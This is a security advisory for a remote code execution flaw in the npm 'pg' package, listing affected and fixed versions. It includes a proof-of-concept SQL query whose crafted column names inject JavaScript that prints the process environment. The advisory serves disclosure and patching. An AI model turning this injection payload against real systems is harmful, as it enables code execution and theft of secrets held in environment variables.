GHSA-wc9v-mj63-m9g5 Remote Code Execution in pg

• npm pg: < 2.11.2 → fixed in 2.11.2 • npm pg: >= 3.0.0, < 3.6.4 → fixed in 3.6.4 • npm pg: >= 4.0.0, < 4.5.7 → fixed in 4.5.7 • npm pg: >= 5.0.0, < 5.2.1 → fixed in 5.2.1 • npm pg: >= 6.0.0, < 6.0.5 → fixed in 6.0.5 • npm pg: >= 6.1.0, < 6.1.6 → fixed in 6.1.6 • npm pg: >= 6.2.0, < 6.2.5 → fixed in 6.2.5 • npm pg: >= 6.3.0, < 6.3.3 → fixed in 6.3.3 • npm pg: >= 6.4.0, < 6.4.2 → fixed in 6.4.2 • npm pg: >= 7.0.0, < 7.0.2 → fixed in 7.0.2 • npm pg: >= 7.1.0, < 7.1.2 → fixed in 7.1.2

Affected versions of `pg` contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name. There are two specific scenarios in which it is likely for an application to be vulnerable: 1. The application executes unsafe, user-supplied sql which contains malicious column names. 2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name. Proof of Concept ``` const { Client } = require('pg') const client = new Client() client.connect() const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"` client.query(sql, (err, res) => { client.end() }) ``` Recommendation • Version 2.x.x: Update to version 2.11.2 or later. • Version 3.x.x: Update to version 3.6.4 or later. • Version 4.x.x: Update to version 4.5.7 or later. • Version 5.x.x: Update to version 5.2.1 or later. • Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. ) • Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )